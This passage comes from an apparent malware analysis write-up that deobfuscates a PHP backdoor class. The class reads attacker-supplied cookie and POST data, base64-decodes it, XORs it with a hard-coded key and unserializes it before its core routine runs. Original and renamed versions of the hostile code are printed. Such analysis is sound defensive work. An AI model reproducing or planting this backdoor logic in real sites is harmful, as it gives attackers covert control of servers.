font-style: inherit;">$eTwDpFJI</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">str_repeat</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$VpuPvEqNf</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">intval</span>(<span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">strlen</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$eTwDpFJI</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>]) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">strlen</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$VpuPvEqNf</span>)) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb11-3">}</span></code></pre></div></div>
<p>Renaming for clarity:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb12" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb12-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">xor</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span>) {</span>
<span id="cb12-2">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">str_repeat</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">intval</span>(<span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">strlen</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>]) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">strlen</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span>)) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb12-3">}</span></code></pre></div></div>
<p>The <code>enSQQgXymq()</code> function is clearly a base64 decoder that returns an array (by using <a href="https://www.php.net/manual/en/function.array-map.php">array_map</a>). I’ve renamed it to <code>b64_decode()</code>:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb13" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb13-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> enSQQgXymq(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span>) {</span>
<span id="cb13-2">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">array_map</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'base64_decode'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> [<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span>])<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb13-3">}</span></code></pre></div></div>
</section>
<section id="constructor-analysis" class="level4">
<h4 class="anchored" data-anchor-id="constructor-analysis">Constructor Analysis</h4>
<p>The <code>__construct()</code> function takes an unused parameter that can be removed:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb14" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb14-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">__construct</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$AfOrpPu</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>) {</span>
<span id="cb14-2">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">''</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb14-3">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$npkQFOsND</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$_POST</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb14-4">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$FOmTmKK</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$_COOKIE</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb14-5">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'5db5f694-e20d-4e23-b0b6-4e7f09687865'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb14-6">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$HlEIDr</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$FOmTmKK</span>[<span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">substr</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">4</span>) ]<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb14-7">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">empty</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$HlEIDr</span>)) {</span>
<span id="cb14-8">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$HlEIDr</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">explode</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">','</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$HlEIDr</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb14-9">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">foreach</span> (<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$HlEIDr</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">as</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$AQBahfuzGX</span>) {</span>
<span id="cb14-10">            <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$FOmTmKK</span>[<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$AQBahfuzGX</span>]<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb14-11">            <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$npkQFOsND</span>[<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$AQBahfuzGX</span>]<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb14-12">        }</span>
<span id="cb14-13">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$this</span>-&gt;b64_decode(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb14-14">    }</span>
<span id="cb14-15">    D_nrl::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$UFvzjxeE</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$this</span>-&gt;<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">xor</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb14-16">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (<span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">strpos</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'5db5f694-e20d-4e23-b0b6-4e7f09687865'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">','</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!==</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">false</span>) {</span>
<span id="cb14-17">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ltrim</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb14-18">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">str_pad</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">10</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb14-19">    }</span>
<span id="cb14-20">}</span></code></pre></div></div>
<p>The final conditional <code>(strpos('5db5f694-e20d-4e23-b0b6-4e7f09687865', ',') !== false)</code> is a dead-end in this sample, and is probably only used on deployments with custom keys. Or maybe is just an obfuscation technique that masks the code’s true functionality.</p>
<p>After renaming and simplification:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb15" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb15-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">__construct</span>() {</span>
<span id="cb15-2">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">''</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb15-3">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data_post</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$_POST</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb15-4">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data_cookie</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$_COOKIE</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb15-5">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'5db5f694-e20d-4e23-b0b6-4e7f09687865'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb15-6">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$cookie_value</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data_cookie</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'5db5'</span>]<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb15-7">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">empty</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$cookie_value</span>)) {</span>
<span id="cb15-8">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$cookie_value</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">explode</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">','</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$cookie_value</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb15-9">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">foreach</span> (<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$cookie_value</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">as</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$index_name</span>) {</span>
<span id="cb15-10">            <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data_cookie</span>[<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$index_name</span>]<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb15-11">            <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data_post</span>[<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$index_name</span>]<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb15-12">        }</span>
<span id="cb15-13">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$this</span>-&gt;b64_decode(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb15-14">    }</span>
<span id="cb15-15">    D_nrl::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$this</span>-&gt;<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">xor</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb15-16">}</span></code></pre></div></div>
<p>This function checks for a cookie named “5db5”, then extracts index names by splitting its value on commas. It constructs a data string by concatenating values from both cookies and POST data with those index names. Finally, it base64-decodes and XORs the data with a UUID key, storing the result in the class’ static variable.</p>
<p>This example effectively illustrates how the data is collected:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb16" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb16-1">data_cookies <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> {</span>
<span id="cb16-2">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"5db5"</span>: <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"name1,name2,name3"</span>,</span>
<span id="cb16-3">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"name1"</span>: <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"value_cookies_1"</span>,</span>
<span id="cb16-4">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"name2"</span>: <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"value_cookies_2"</span>,</span>
<span id="cb16-5">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"name3"</span>: <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"value_cookies_3"</span>,</span>
<span id="cb16-6">}</span>
<span id="cb16-7">data_post <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> {</span>
<span id="cb16-8">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"name1"</span>: <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"value_post_1"</span>,</span>
<span id="cb16-9">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"name2"</span>: <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"value_post_2"</span>,</span>
<span id="cb16-10">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"name3"</span>: <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"value_post_3"</span>,</span>
<span id="cb16-11">}</span>
<span id="cb16-12">data <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"value_cookies_1value_post_1value_cookies_2value_post_2value_cookies_3value_post_3"</span></span></code></pre></div></div>
</section>
<section id="destruction" class="level4">
<h4 class="anchored" data-anchor-id="destruction">Destruction</h4>
<p>The <code>init</code> function creates a new instance of the “D_nrl” class, which triggers the <code>__construct</code> method. It then sets the instance to null, which calls the <code>__destruct</code> method:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb17" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb17-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> init() {</span>
<span id="cb17-2">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$fniPN</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">new</span> D_nrl()<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb17-3">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$fniPN</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">null</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb17-4">}</span></code></pre></div></div>
<p>The <code>__destruct</code> method also contains code elements meant purely for obfuscation. The variable <code>$mzoDChjlh</code> is defined but never used:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb18" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb18-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">__destruct</span>() {</span>
<span id="cb18-2">    D_nrl::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">unserialize</span>(D_nrl::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb18-3">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$mzoDChjlh</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'50014_10810'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb18-4">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$this</span>-&gt;sUZcNV(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$mzoDChjlh</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb18-5">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$mzoDChjlh</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'50014_10810'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb18-6">}</span></code></pre></div></div>
<p>After cleaning up the unnecessary elements, the function becomes:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb19" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb19-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">__destruct</span>() {</span>
<span id="cb19-2">    D_nrl::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">unserialize</span>(D_nrl::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb19-3">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$this</span>-&gt;sUZcNV()<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb19-4">}</span></code></pre></div></div>
<p>The <a href="https://www.php.net/manual/en/function.unserialize.php">unserialize()</a> function recreates a PHP value from its stored representation. For example, the array:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb20" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb20-1"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">array</span>(</span>
<span id="cb20-2">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"key"</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"value"</span></span>
<span id="cb20-3">)</span></code></pre></div></div>
<p>When serialized becomes:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb21" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb21-1">a<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">:</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">:</span>{s<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">:</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">3</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">:</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"key"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span>s<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">:</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">5</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">:</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"value"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span>}</span></code></pre></div></div>
<p>The <code>unserialize()</code> function performs the reverse operation. After unserializing the data, the code calls the private function <code>sUZcNV()</code>, which contains the malware’s core functionality and where the fun happens.</p>
</section>
<section id="core-execution" class="level4">
<h4 class="anchored" data-anchor-id="core-execution">Core Execution</h4>
<p>This private function first verifies that the decrypted data is an array:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb22" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb22-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">private</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> sUZcNV() {</span>
<span id="cb22-2">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (<span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">is_array</span>(D_nrl::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span>)) {</span>
<span id="cb22-3">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$name</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">sys_get_temp_dir</span>() <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'/'</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">crc32</span>(D_nrl::<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$decrypted_data</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'salt'</span>])<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb22-4">        <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span>D_nrl::<span class="va" style="color: #111111;
background-color: null;
